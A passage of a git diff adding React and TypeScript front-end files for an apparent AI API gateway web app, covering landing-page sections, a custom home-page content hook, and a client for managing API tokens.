+    return null
+  }
+
+  return (
+    <section className='relative z-10 overflow-hidden px-6 py-24 md:py-32'>
+      {/* Gradient mesh background */}
+      <div
+        aria-hidden
+        className='absolute inset-0 -z-10 opacity-20 dark:opacity-[0.08]'
+        style={{
+          background: [
+            'radial-gradient(ellipse 50% 50% at 30% 50%, oklch(0.7 0.15 250 / 70%) 0%, transparent 70%)',
+            'radial-gradient(ellipse 40% 40% at 70% 40%, oklch(0.65 0.12 200 / 50%) 0%, transparent 70%)',
+          ].join(', '),
+        }}
+      />
+
+      <AnimateInView
+        className='mx-auto max-w-2xl text-center'
+        animation='scale-in'
+      >
+        <h2 className='text-2xl leading-tight font-bold tracking-tight md:text-4xl'>
+          {t('Ready to simplify')}
+          <br />
+          <span className='bg-gradient-to-r from-blue-400 via-violet-400 to-purple-500 bg-clip-text text-transparent'>
+            {t('your AI integration?')}
+          </span>
+        </h2>
+        <p className='text-muted-foreground/80 mx-auto mt-5 max-w-md text-sm leading-relaxed md:text-base'>
+          {t('Start for free with generous limits. No credit card required.')}
+        </p>
+        <div className='mt-8 flex items-center justify-center gap-3'>
+          <Button className='group rounded-lg' asChild>
+            <Link to='/sign-up'>
+              {t('Get Started')}
+              <ArrowRight className='ml-1 size-3.5 transition-transform duration-200 group-hover:translate-x-0.5' />
+            </Link>
+          </Button>
+          <Button
+            variant='outline'
+            className='border-border/50 hover:border-border hover:bg-muted/50 rounded-lg'
+            asChild
+          >
+            <Link to='/pricing'>{t('View Pricing')}</Link>
+          </Button>
+        </div>
+      </AnimateInView>
+    </section>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/sections/features.tsx b/new-api/web/default/src/features/home/components/sections/features.tsx
new file mode 100644
index 0000000..d414cee
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/sections/features.tsx
@@ -0,0 +1,222 @@
+import {
+  Zap,
+  Shield,
+  Globe,
+  Code,
+  Gauge,
+  DollarSign,
+  Users,
+  HeartHandshake,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { AnimateInView } from '@/components/animate-in-view'
+
+interface FeaturesProps {
+  className?: string
+}
+
+export function Features(_props: FeaturesProps) {
+  const { t } = useTranslation()
+
+  const features = [
+    {
+      id: 'fast',
+      num: '01',
+      title: t('Lightning Fast'),
+      desc: t(
+        'Optimized network architecture ensures millisecond response times'
+      ),
+      span: 'md:col-span-2',
+      icon: <Zap className='size-4 text-blue-400' />,
+      visual: (
+        <div className='mt-4 grid grid-cols-3 gap-2'>
+          {['OpenAI', 'Claude', 'Gemini', 'DeepSeek', 'Qwen', 'Llama'].map(
+            (name) => (
+              <div
+                key={name}
+                className='border-border/30 bg-muted/20 text-muted-foreground flex items-center justify-center rounded-lg border px-3 py-2 text-xs transition-colors duration-300 hover:border-blue-500/30 hover:bg-blue-500/5'
+              >
+                {name}
+              </div>
+            )
+          )}
+        </div>
+      ),
+    },
+    {
+      id: 'secure',
+      num: '02',
+      title: t('Secure & Reliable'),
+      desc: t(
+        'Enterprise-grade security with comprehensive permission management'
+      ),
+      span: 'md:col-span-1',
+      icon: <Shield className='size-4 text-emerald-400' />,
+      visual: (
+        <div className='mt-4 flex items-center justify-center'>
+          <div className='relative'>
+            <div className='flex size-16 items-center justify-center rounded-2xl border border-emerald-500/20 bg-emerald-500/5'>
+              <Shield
+                className='size-7 text-emerald-500/70'
+                strokeWidth={1.5}
+              />
+            </div>
+            <div className='absolute -top-1 -right-1 flex size-4 items-center justify-center rounded-full bg-emerald-500'>
+              <svg
+                className='size-2.5 text-white'
+                fill='none'
+                viewBox='0 0 24 24'
+                stroke='currentColor'
+                strokeWidth={3}
+              >
+                <path
+                  strokeLinecap='round'
+                  strokeLinejoin='round'
+                  d='m4.5 12.75 6 6 9-13.5'
+                />
+              </svg>
+            </div>
+          </div>
+        </div>
+      ),
+    },
+    {
+      id: 'global',
+      num: '03',
+      title: t('Global Coverage'),
+      desc: t('Multi-region deployment for stable global access'),
+      span: 'md:col-span-1',
+      icon: <Globe className='size-4 text-violet-400' />,
+      visual: (
+        <div className='mt-4 space-y-2'>
+          {[t('Load Balancing'), t('Rate Limiting'), t('Cost Tracking')].map(
+            (step, i) => (
+              <div key={step} className='flex items-center gap-2'>
+                <div
+                  className={`flex size-6 items-center justify-center rounded-full text-[10px] font-bold ${
+                    i === 1
+                      ? 'border border-blue-500/30 bg-blue-500/20 text-blue-500'
+                      : 'border-border/40 bg-muted text-muted-foreground border'
+                  }`}
+                >
+                  {i + 1}
+                </div>
+                <div className='bg-border/40 h-px flex-1' />
+                <span className='text-muted-foreground text-xs'>{step}</span>
+              </div>
+            )
+          )}
+        </div>
+      ),
+    },
+    {
+      id: 'developer',
+      num: '04',
+      title: t('Developer Friendly'),
+      desc: t('Complete API documentation with multi-language SDK support'),
+      span: 'md:col-span-2',
+      icon: <Code className='size-4 text-amber-400' />,
+      visual: (
+        <div className='mt-4 flex items-center gap-3'>
+          <div className='flex -space-x-2'>
+            {['API', 'SDK', 'CLI', 'Docs'].map((n) => (
+              <div
+                key={n}
+                className='border-background from-muted to-muted/60 text-muted-foreground flex size-8 items-center justify-center rounded-full border-2 bg-gradient-to-br text-[9px] font-bold'
+              >
+                {n}
+              </div>
+            ))}
+          </div>
+          <div className='text-muted-foreground flex items-center gap-1.5 text-xs'>
+            <Code className='size-3.5 text-blue-500' />
+            {t('OpenAI Compatible')}
+          </div>
+        </div>
+      ),
+    },
+  ]
+
+  const additionalFeatures = [
+    {
+      icon: <Gauge className='size-5' strokeWidth={1.5} />,
+      title: t('High Performance'),
+      desc: t('Support for high concurrency with automatic load balancing'),
+    },
+    {
+      icon: <DollarSign className='size-5' strokeWidth={1.5} />,
+      title: t('Transparent Billing'),
+      desc: t('Pay-as-you-go with real-time usage monitoring'),
+    },
+    {
+      icon: <Users className='size-5' strokeWidth={1.5} />,
+      title: t('Team Collaboration'),
+      desc: t('Multi-user management with flexible permission allocation'),
+    },
+    {
+      icon: <HeartHandshake className='size-5' strokeWidth={1.5} />,
+      title: t('Technical Support'),
+      desc: t('Professional team providing 24/7 technical support'),
+    },
+  ]
+
+  return (
+    <section className='relative z-10 px-6 py-24 md:py-32'>
+      <div className='mx-auto max-w-6xl'>
+        <AnimateInView className='mb-16 max-w-lg'>
+          <p className='text-muted-foreground mb-3 text-xs font-medium tracking-widest uppercase'>
+            {t('Core Features')}
+          </p>
+          <h2 className='text-2xl leading-tight font-bold tracking-tight md:text-3xl'>
+            {t('Built for developers,')}
+            <br />
+            {t('designed for scale')}
+          </h2>
+        </AnimateInView>
+
+        {/* Bento grid */}
+        <div className='border-border/40 bg-border/40 grid gap-px overflow-hidden rounded-xl border md:grid-cols-3'>
+          {features.map((f, i) => (
+            <AnimateInView
+              key={f.id}
+              delay={i * 100}
+              animation='scale-in'
+              className={`bg-background group hover:bg-muted/20 p-7 transition-colors duration-300 md:p-8 ${f.span}`}
+            >
+              <div className='mb-3 flex items-center gap-3'>
+                <span className='border-border/40 bg-muted text-muted-foreground flex size-7 items-center justify-center rounded-md border text-[10px] font-semibold tabular-nums'>
+                  {f.num}
+                </span>
+                <h3 className='text-sm font-semibold'>{f.title}</h3>
+              </div>
+              <p className='text-muted-foreground text-sm leading-relaxed'>
+                {f.desc}
+              </p>
+              {f.visual}
+            </AnimateInView>
+          ))}
+        </div>
+
+        {/* Additional features row */}
+        <div className='mt-12 grid grid-cols-2 gap-8 md:grid-cols-4 md:gap-12'>
+          {additionalFeatures.map((f, i) => (
+            <AnimateInView
+              key={f.title}
+              delay={i * 100}
+              animation='fade-up'
+              className='flex flex-col items-center text-center'
+            >
+              <div className='text-muted-foreground border-border/50 bg-muted/30 group-hover:text-foreground mb-3 flex size-12 items-center justify-center rounded-xl border transition-colors'>
+                {f.icon}
+              </div>
+              <h3 className='mb-1.5 text-sm font-semibold'>{f.title}</h3>
+              <p className='text-muted-foreground max-w-[200px] text-xs leading-relaxed'>
+                {f.desc}
+              </p>
+            </AnimateInView>
+          ))}
+        </div>
+      </div>
+    </section>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/sections/hero.tsx b/new-api/web/default/src/features/home/components/sections/hero.tsx
new file mode 100644
index 0000000..34daf4f
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/sections/hero.tsx
@@ -0,0 +1,96 @@
+import { Link } from '@tanstack/react-router'
+import { ArrowRight } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useSystemConfig } from '@/hooks/use-system-config'
+import { Button } from '@/components/ui/button'
+import { HeroTerminalDemo } from '../hero-terminal-demo'
+
+interface HeroProps {
+  className?: string
+  isAuthenticated?: boolean
+}
+
+export function Hero(props: HeroProps) {
+  const { t } = useTranslation()
+  const { systemName } = useSystemConfig()
+
+  return (
+    <section className='relative z-10 flex flex-col items-center overflow-hidden px-6 pt-28 pb-16 md:pt-36 md:pb-24'>
+      {/* Radial gradient background */}
+      <div
+        aria-hidden
+        className='pointer-events-none absolute inset-0 -z-10 opacity-25 dark:opacity-[0.12]'
+        style={{
+          background: [
+            'radial-gradient(ellipse 60% 50% at 20% 20%, oklch(0.72 0.18 250 / 80%) 0%, transparent 70%)',
+            'radial-gradient(ellipse 50% 40% at 80% 15%, oklch(0.65 0.15 200 / 60%) 0%, transparent 70%)',
+            'radial-gradient(ellipse 40% 35% at 40% 80%, oklch(0.70 0.12 280 / 40%) 0%, transparent 70%)',
+          ].join(', '),
+        }}
+      />
+      {/* Grid pattern */}
+      <div
+        aria-hidden
+        className='absolute inset-0 -z-10 bg-[linear-gradient(to_right,var(--border)_1px,transparent_1px),linear-gradient(to_bottom,var(--border)_1px,transparent_1px)] [mask-image:radial-gradient(ellipse_60%_50%_at_50%_30%,black_20%,transparent_100%)] bg-[size:4rem_4rem] opacity-[0.08]'
+      />
+
+      <div className='flex max-w-3xl flex-col items-center text-center'>
+        <h1
+          className='landing-animate-fade-up text-[clamp(2rem,5.5vw,3.5rem)] leading-[1.15] font-bold tracking-tight'
+          style={{ animationDelay: '0ms' }}
+        >
+          {t('Unified API Gateway for')}
+          <br />
+          <span className='bg-gradient-to-r from-blue-400 via-violet-400 to-purple-500 bg-clip-text text-transparent'>
+            {t('All Your AI Models')}
+          </span>
+        </h1>
+        <p
+          className='landing-animate-fade-up text-muted-foreground/80 mt-5 max-w-lg text-base leading-relaxed opacity-0 md:text-lg'
+          style={{ animationDelay: '80ms' }}
+        >
+          {systemName}{' '}
+          {t(
+            'aggregates 50+ AI providers behind one unified API. Manage access, track costs, and scale effortlessly.'
+          )}
+        </p>
+        <div
+          className='landing-animate-fade-up mt-8 flex items-center gap-3 opacity-0'
+          style={{ animationDelay: '160ms' }}
+        >
+          {props.isAuthenticated ? (
+            <Button className='group rounded-lg' asChild>
+              <Link to='/dashboard'>
+                {t('Go to Dashboard')}
+                <ArrowRight className='ml-1 size-3.5 transition-transform duration-200 group-hover:translate-x-0.5' />
+              </Link>
+            </Button>
+          ) : (
+            <>
+              <Button className='group rounded-lg' asChild>
+                <Link to='/sign-up'>
+                  {t('Get Started')}
+                  <ArrowRight className='ml-1 size-3.5 transition-transform duration-200 group-hover:translate-x-0.5' />
+                </Link>
+              </Button>
+              <Button
+                variant='outline'
+                className='border-border/50 hover:border-border hover:bg-muted/50 rounded-lg'
+                asChild
+              >
+                <Link to='/pricing'>{t('View Pricing')}</Link>
+              </Button>
+            </>
+          )}
+        </div>
+      </div>
+
+      <div
+        className='landing-animate-fade-up w-full opacity-0'
+        style={{ animationDelay: '300ms' }}
+      >
+        <HeroTerminalDemo />
+      </div>
+    </section>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/sections/how-it-works.tsx b/new-api/web/default/src/features/home/components/sections/how-it-works.tsx
new file mode 100644
index 0000000..05e772c
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/sections/how-it-works.tsx
@@ -0,0 +1,77 @@
+import { Settings, Zap, BarChart3 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { AnimateInView } from '@/components/animate-in-view'
+
+export function HowItWorks() {
+  const { t } = useTranslation()
+
+  const steps = [
+    {
+      num: '1',
+      title: t('Configure'),
+      desc: t(
+        'Add your API keys, set up channels and configure access permissions'
+      ),
+      icon: <Settings className='size-6' strokeWidth={1.5} />,
+    },
+    {
+      num: '2',
+      title: t('Connect'),
+      desc: t(
+        'Use our unified OpenAI-compatible endpoint in your applications'
+      ),
+      icon: <Zap className='size-6' strokeWidth={1.5} />,
+    },
+    {
+      num: '3',
+      title: t('Monitor'),
+      desc: t('Track usage, costs and performance with real-time analytics'),
+      icon: <BarChart3 className='size-6' strokeWidth={1.5} />,
+    },
+  ]
+
+  return (
+    <section className='border-border/40 relative z-10 border-t px-6 py-24 md:py-32'>
+      <div className='mx-auto max-w-6xl'>
+        <AnimateInView className='mb-16 text-center md:mb-20'>
+          <p className='text-muted-foreground mb-3 text-xs font-medium tracking-widest uppercase'>
+            {t('How It Works')}
+          </p>
+          <h2 className='text-2xl font-bold tracking-tight md:text-3xl'>
+            {t('Three steps to get started')}
+          </h2>
+        </AnimateInView>
+
+        <div className='relative grid gap-8 md:grid-cols-3 md:gap-12'>
+          {/* Connecting line (desktop) */}
+          <div
+            aria-hidden
+            className='from-border/0 via-border to-border/0 absolute top-12 right-[20%] left-[20%] hidden h-px bg-gradient-to-r md:block'
+          />
+
+          {steps.map((step, i) => (
+            <AnimateInView
+              key={step.num}
+              delay={i * 150}
+              animation='fade-up'
+              className='relative flex flex-col items-center text-center'
+            >
+              <div className='relative mb-6'>
+                <div className='text-muted-foreground border-border/50 bg-muted/30 flex size-16 items-center justify-center rounded-2xl border transition-colors'>
+                  {step.icon}
+                </div>
+                <div className='bg-foreground text-background absolute -top-2 -right-2 flex size-6 items-center justify-center rounded-full text-xs font-bold'>
+                  {step.num}
+                </div>
+              </div>
+              <h3 className='mb-2 text-base font-semibold'>{step.title}</h3>
+              <p className='text-muted-foreground max-w-[240px] text-sm leading-relaxed'>
+                {step.desc}
+              </p>
+            </AnimateInView>
+          ))}
+        </div>
+      </div>
+    </section>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/sections/stats.tsx b/new-api/web/default/src/features/home/components/sections/stats.tsx
new file mode 100644
index 0000000..acd3bea
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/sections/stats.tsx
@@ -0,0 +1,103 @@
+import { useRef, useEffect, useCallback } from 'react'
+import { useTranslation } from 'react-i18next'
+
+interface CounterProps {
+  end: number
+  suffix?: string
+  prefix?: string
+  duration?: number
+  decimals?: number
+}
+
+function Counter(props: CounterProps) {
+  const { end, suffix = '', prefix = '', duration = 1600, decimals = 0 } = props
+  const ref = useRef<HTMLSpanElement>(null)
+  const startedRef = useRef(false)
+
+  const formatValue = useCallback(
+    (v: number) =>
+      decimals > 0 ? v.toFixed(decimals) : Math.round(v).toLocaleString(),
+    [decimals]
+  )
+
+  const animate = useCallback(() => {
+    const el = ref.current
+    if (!el) return
+    const start = performance.now()
+    const step = (now: number) => {
+      const progress = Math.min((now - start) / duration, 1)
+      const eased = 1 - Math.pow(1 - progress, 3)
+      el.textContent = `${prefix}${formatValue(eased * end)}${suffix}`
+      if (progress < 1) requestAnimationFrame(step)
+    }
+    requestAnimationFrame(step)
+  }, [end, duration, prefix, suffix, formatValue])
+
+  useEffect(() => {
+    const el = ref.current
+    if (!el) return
+
+    const mq = window.matchMedia('(prefers-reduced-motion: reduce)')
+    if (mq.matches) {
+      el.textContent = `${prefix}${formatValue(end)}${suffix}`
+      return
+    }
+
+    const observer = new IntersectionObserver(
+      ([entry]) => {
+        if (entry.isIntersecting && !startedRef.current) {
+          startedRef.current = true
+          animate()
+          observer.unobserve(el)
+        }
+      },
+      { threshold: 0.5 }
+    )
+
+    observer.observe(el)
+    return () => observer.disconnect()
+  }, [animate, end, prefix, suffix, formatValue])
+
+  return (
+    <span ref={ref} className='tabular-nums'>
+      {prefix}0{suffix}
+    </span>
+  )
+}
+
+interface StatsProps {
+  className?: string
+}
+
+export function Stats(_props: StatsProps) {
+  const { t } = useTranslation()
+
+  const stats = [
+    { end: 100, suffix: 'M+', label: t('requests served') },
+    { end: 50, suffix: '+', label: t('AI models supported') },
+    { end: 99.9, suffix: '%', label: t('uptime'), decimals: 1 },
+    { end: 10, suffix: 'K+', label: t('active users') },
+  ]
+
+  return (
+    <div className='border-border/40 bg-muted/10 relative z-10 border-y'>
+      <div className='mx-auto max-w-6xl px-6 py-10 md:py-12'>
+        <div className='grid grid-cols-2 gap-8 md:grid-cols-4 md:gap-12'>
+          {stats.map((s) => (
+            <div
+              key={s.label}
+              className='flex flex-col items-center text-center'
+            >
+              <span className='text-2xl font-bold tracking-tight md:text-3xl'>
+                <Counter end={s.end} suffix={s.suffix} decimals={s.decimals} />
+              </span>
+              <span className='text-muted-foreground mt-1.5 text-xs'>
+                {s.label}
+              </span>
+            </div>
+          ))}
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/stat-item.tsx b/new-api/web/default/src/features/home/components/stat-item.tsx
new file mode 100644
index 0000000..3317069
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/stat-item.tsx
@@ -0,0 +1,42 @@
+import { cn } from '@/lib/utils'
+
+interface StatItemProps {
+  value: string | number
+  suffix?: string
+  description?: string
+}
+
+const GRADIENT_TEXT =
+  'from-foreground to-foreground/70 bg-gradient-to-r bg-clip-text font-bold text-transparent'
+
+/**
+ * Individual stat item with value, suffix, and description
+ */
+export function StatItem({ value, suffix, description }: StatItemProps) {
+  return (
+    <div className='flex flex-col items-center gap-2 text-center'>
+      <div className='flex items-baseline gap-1'>
+        <div
+          className={cn(
+            GRADIENT_TEXT,
+            'text-4xl drop-shadow-sm transition-all duration-300 sm:text-5xl md:text-6xl'
+          )}
+        >
+          {value}
+        </div>
+        {suffix && (
+          <div
+            className={cn(GRADIENT_TEXT, 'text-3xl sm:text-4xl md:text-5xl')}
+          >
+            {suffix}
+          </div>
+        )}
+      </div>
+      {description && (
+        <p className='text-muted-foreground text-sm font-medium'>
+          {description}
+        </p>
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/constants.ts b/new-api/web/default/src/features/home/constants.ts
new file mode 100644
index 0000000..743c29b
--- /dev/null
+++ b/new-api/web/default/src/features/home/constants.ts
@@ -0,0 +1,129 @@
+/**
+ * Home page constants
+ * All hardcoded data for home page sections
+ */
+import { type TFunction } from 'i18next'
+
+// Layout - Main base classes
+export const MAIN_BASE_CLASSES = 'bg-background text-foreground w-full'
+
+// Hero section - AI Applications (Left side)
+export const AI_APPLICATIONS = [
+  'LobeHub.Color',
+  'Dify.Color',
+  'OpenWebUI',
+  'Cline',
+] as const
+
+// Hero section - AI Models (Right side)
+export const AI_MODELS = [
+  'Qwen.Color',
+  'DeepSeek.Color',
+  'Doubao.Color',
+  'OpenAI',
+  'Claude.Color',
+  'Gemini.Color',
+] as const
+
+// Hero section - Gateway Features
+export const GATEWAY_FEATURES = [
+  'Cost Tracking',
+  'Model Access',
+  'Guardrails',
+  'Observability',
+  'Budgets',
+  'Load Balancing',
+  'Rate Limiting',
+  'Token Mgmt',
+  'Prompt Caching',
+  'Pass-Through',
+] as const
+
+// Stats section - Default statistics
+export const DEFAULT_STATS = [
+  {
+    value: '100',
+    suffix: 'M+',
+    description: 'requests served',
+  },
+  {
+    value: '50',
+    suffix: '+',
+    description: 'AI models supported',
+  },
+  {
+    value: '99.9',
+    suffix: '%',
+    description: 'uptime',
+  },
+  {
+    value: '10',
+    suffix: 'K+',
+    description: 'active users',
+  },
+] as const
+
+// Features section - Default features
+export const DEFAULT_FEATURES = [
+  {
+    title: 'Lightning Fast',
+    description:
+      'Optimized network architecture ensures millisecond response times',
+    iconName: 'Zap',
+  },
+  {
+    title: 'Secure & Reliable',
+    description:
+      'Enterprise-grade security with comprehensive permission management',
+    iconName: 'Shield',
+  },
+  {
+    title: 'Global Coverage',
+    description: 'Multi-region deployment for stable global access',
+    iconName: 'Globe',
+  },
+  {
+    title: 'Developer Friendly',
+    description: 'Complete API documentation with multi-language SDK support',
+    iconName: 'Code',
+  },
+  {
+    title: 'High Performance',
+    description: 'Support for high concurrency with automatic load balancing',
+    iconName: 'Gauge',
+  },
+  {
+    title: 'Transparent Billing',
+    description: 'Pay-as-you-go with real-time usage monitoring',
+    iconName: 'DollarSign',
+  },
+  {
+    title: 'Team Collaboration',
+    description: 'Multi-user management with flexible permission allocation',
+    iconName: 'Users',
+  },
+  {
+    title: 'Technical Support',
+    description: 'Professional team providing 24/7 technical support',
+    iconName: 'HeartHandshake',
+  },
+] as const
+
+export function getGatewayFeatures(t: TFunction) {
+  return GATEWAY_FEATURES.map((feature) => t(feature))
+}
+
+export function getDefaultStats(t: TFunction) {
+  return DEFAULT_STATS.map((stat) => ({
+    ...stat,
+    description: stat.description ? t(stat.description) : undefined,
+  }))
+}
+
+export function getDefaultFeatures(t: TFunction) {
+  return DEFAULT_FEATURES.map((feature) => ({
+    ...feature,
+    title: t(feature.title),
+    description: t(feature.description),
+  }))
+}
diff --git a/new-api/web/default/src/features/home/hooks/index.ts b/new-api/web/default/src/features/home/hooks/index.ts
new file mode 100644
index 0000000..f5215fa
--- /dev/null
+++ b/new-api/web/default/src/features/home/hooks/index.ts
@@ -0,0 +1 @@
+export { useHomePageContent } from './use-home-page-content'
diff --git a/new-api/web/default/src/features/home/hooks/use-home-page-content.ts b/new-api/web/default/src/features/home/hooks/use-home-page-content.ts
new file mode 100644
index 0000000..f8f0d67
--- /dev/null
+++ b/new-api/web/default/src/features/home/hooks/use-home-page-content.ts
@@ -0,0 +1,69 @@
+import { useEffect, useState } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { getHomePageContent } from '../api'
+import type { HomePageContentResult } from '../types'
+
+const STORAGE_KEY = 'home_page_content'
+
+/**
+ * Hook to load and manage custom home page content
+ * Supports both Markdown/HTML content and iframe URLs
+ */
+export function useHomePageContent(): HomePageContentResult {
+  const [content, setContent] = useState<string>('')
+  const [isLoaded, setIsLoaded] = useState(false)
+
+  useEffect(() => {
+    let mounted = true
+
+    const loadContent = async () => {
+      // Load from localStorage first for immediate display
+      const cached = localStorage.getItem(STORAGE_KEY)
+      if (cached && mounted) {
+        setContent(cached)
+      }
+
+      try {
+        const response = await getHomePageContent()
+        const { success, data } = response
+
+        if (!mounted) return
+
+        if (success && data) {
+          setContent(data)
+          localStorage.setItem(STORAGE_KEY, data)
+        } else {
+          // Clear content if API returns empty
+          setContent('')
+          localStorage.removeItem(STORAGE_KEY)
+        }
+      } catch (error) {
+        if (!mounted) return
+        // eslint-disable-next-line no-console
+        console.error('Failed to load home page content:', error)
+        toast.error(i18next.t('Failed to load home page content'))
+      } finally {
+        if (mounted) {
+          setIsLoaded(true)
+        }
+      }
+    }
+
+    loadContent()
+
+    return () => {
+      mounted = false
+    }
+  }, [])
+
+  let isUrl = false
+  try {
+    const url = new URL(content)
+    isUrl = url.protocol === 'http:' || url.protocol === 'https:'
+  } catch {
+    // not a URL
+  }
+
+  return { content, isLoaded, isUrl }
+}
diff --git a/new-api/web/default/src/features/home/index.tsx b/new-api/web/default/src/features/home/index.tsx
new file mode 100644
index 0000000..ba24d9d
--- /dev/null
+++ b/new-api/web/default/src/features/home/index.tsx
@@ -0,0 +1,55 @@
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { Markdown } from '@/components/ui/markdown'
+import { PublicLayout } from '@/components/layout'
+import { Footer } from '@/components/layout/components/footer'
+import { CTA, Features, Hero, HowItWorks, Stats } from './components'
+import { useHomePageContent } from './hooks'
+
+export function Home() {
+  const { t } = useTranslation()
+  const { auth } = useAuthStore()
+  const isAuthenticated = !!auth.user
+  const { content, isLoaded, isUrl } = useHomePageContent()
+
+  if (!isLoaded) {
+    return (
+      <PublicLayout showMainContainer={false}>
+        <main className='flex min-h-screen items-center justify-center'>
+          <div className='text-muted-foreground'>{t('Loading...')}</div>
+        </main>
+      </PublicLayout>
+    )
+  }
+
+  if (content) {
+    return (
+      <PublicLayout showMainContainer={false}>
+        <main className='overflow-x-hidden'>
+          {isUrl ? (
+            <iframe
+              src={content}
+              className='h-screen w-full border-none'
+              title={t('Custom Home Page')}
+            />
+          ) : (
+            <div className='container mx-auto py-8'>
+              <Markdown className='custom-home-content'>{content}</Markdown>
+            </div>
+          )}
+        </main>
+      </PublicLayout>
+    )
+  }
+
+  return (
+    <PublicLayout showMainContainer={false}>
+      <Hero isAuthenticated={isAuthenticated} />
+      <Stats />
+      <Features />
+      <HowItWorks />
+      <CTA isAuthenticated={isAuthenticated} />
+      <Footer />
+    </PublicLayout>
+  )
+}
diff --git a/new-api/web/default/src/features/home/lib/icon-mapper.tsx b/new-api/web/default/src/features/home/lib/icon-mapper.tsx
new file mode 100644
index 0000000..164e746
--- /dev/null
+++ b/new-api/web/default/src/features/home/lib/icon-mapper.tsx
@@ -0,0 +1,41 @@
+import {
+  Zap,
+  Shield,
+  Globe,
+  Code,
+  Gauge,
+  DollarSign,
+  Users,
+  HeartHandshake,
+  type LucideIcon,
+} from 'lucide-react'
+
+/**
+ * Map of icon names to Lucide icon components
+ */
+const ICON_MAP: Record<string, LucideIcon> = {
+  Zap,
+  Shield,
+  Globe,
+  Code,
+  Gauge,
+  DollarSign,
+  Users,
+  HeartHandshake,
+}
+
+/**
+ * Get a Lucide icon component by name
+ */
+export function getFeatureIcon(
+  iconName: string,
+  className?: string
+): React.ReactNode {
+  const Icon = ICON_MAP[iconName]
+  if (!Icon) {
+    // eslint-disable-next-line no-console
+    console.warn(`Icon "${iconName}" not found in icon map`)
+    return null
+  }
+  return <Icon className={className} />
+}
diff --git a/new-api/web/default/src/features/home/types.ts b/new-api/web/default/src/features/home/types.ts
new file mode 100644
index 0000000..c9437b7
--- /dev/null
+++ b/new-api/web/default/src/features/home/types.ts
@@ -0,0 +1,21 @@
+// ============================================================================
+// Home Page Types
+// ============================================================================
+
+/**
+ * Response from home page content API
+ */
+export interface HomePageContentResponse {
+  success: boolean
+  message?: string
+  data?: string
+}
+
+/**
+ * Home page content result from hook
+ */
+export interface HomePageContentResult {
+  content: string
+  isLoaded: boolean
+  isUrl: boolean
+}
diff --git a/new-api/web/default/src/features/keys/api.ts b/new-api/web/default/src/features/keys/api.ts
new file mode 100644
index 0000000..24f4322
--- /dev/null
+++ b/new-api/web/default/src/features/keys/api.ts
@@ -0,0 +1,99 @@
+import { api } from '@/lib/api'
+import type {
+  ApiKey,
+  ApiResponse,
+  GetApiKeysParams,
+  GetApiKeysResponse,
+  SearchApiKeysParams,
+  ApiKeyFormData,
+} from './types'
+
+// ============================================================================
+// API Key Management
+// ============================================================================
+
+// Get paginated API keys list
+export async function getApiKeys(
+  params: GetApiKeysParams = {}
+): Promise<GetApiKeysResponse> {
+  const { p = 1, size = 10 } = params
+  const res = await api.get(`/api/token/?p=${p}&size=${size}`)
+  return res.data
+}
+
+// Search API keys by keyword or token (with pagination)
+export async function searchApiKeys(
+  params: SearchApiKeysParams
+): Promise<{ success: boolean; message?: string; data?: ApiKey[] }> {
+  const { keyword = '', token = '', p, size } = params
+  const queryParams = new URLSearchParams()
+  if (keyword) queryParams.set('keyword', keyword)
+  if (token) queryParams.set('token', token)
+  if (p != null) queryParams.set('p', String(p))
+  if (size != null) queryParams.set('size', String(size))
+  const res = await api.get(`/api/token/search?${queryParams.toString()}`)
+  return res.data
+}
+
+// Get single API key by ID
+export async function getApiKey(id: number): Promise<ApiResponse<ApiKey>> {
+  const res = await api.get(`/api/token/${id}`)
+  return res.data
+}
+
+// Create a new API key
+export async function createApiKey(
+  data: ApiKeyFormData
+): Promise<ApiResponse<ApiKey>> {
+  const res = await api.post('/api/token/', data)
+  return res.data
+}
+
+// Update an existing API key
+export async function updateApiKey(
+  data: ApiKeyFormData & { id: number }
+): Promise<ApiResponse<ApiKey>> {
+  const res = await api.put('/api/token/', data)
+  return res.data
+}
+
+// Delete a single API key
+export async function deleteApiKey(id: number): Promise<ApiResponse> {
+  const res = await api.delete(`/api/token/${id}/`)
+  return res.data
+}
+
+// Batch delete multiple API keys
+export async function batchDeleteApiKeys(
+  ids: number[]
+): Promise<ApiResponse<number>> {
+  const res = await api.post('/api/token/batch', { ids })
+  return res.data
+}
+
+// Update API key status (enable/disable)
+export async function updateApiKeyStatus(
+  id: number,
+  status: number
+): Promise<ApiResponse<ApiKey>> {
+  const res = await api.put('/api/token/?status_only=true', { id, status })
+  return res.data
+}
+
+// Fetch the real (unmasked) key for a token by ID
+export async function fetchTokenKey(
+  id: number
+): Promise<{ success: boolean; message?: string; data?: { key: string } }> {
+  const res = await api.post(`/api/token/${id}/key`)
+  return res.data
+}
+
+// Batch fetch real (unmasked) keys for multiple tokens
+export async function fetchTokenKeysBatch(ids: number[]): Promise<{
+  success: boolean
+  message?: string
+  data?: { keys: Record<number, string> }
+}> {
+  const res = await api.post('/api/token/batch/keys', { ids })
+  return res.data
+}
diff --git a/new-api/web/default/src/features/keys/components/api-key-group-combobox.tsx b/new-api/web/default/src/features/keys/components/api-key-group-combobox.tsx
new file mode 100644
index 0000000..0b0e38f
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/api-key-group-combobox.tsx
@@ -0,0 +1,173 @@
+import { useMemo, useState } from 'react'
+import { Check, ChevronsUpDown } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import {
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+} from '@/components/ui/command'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
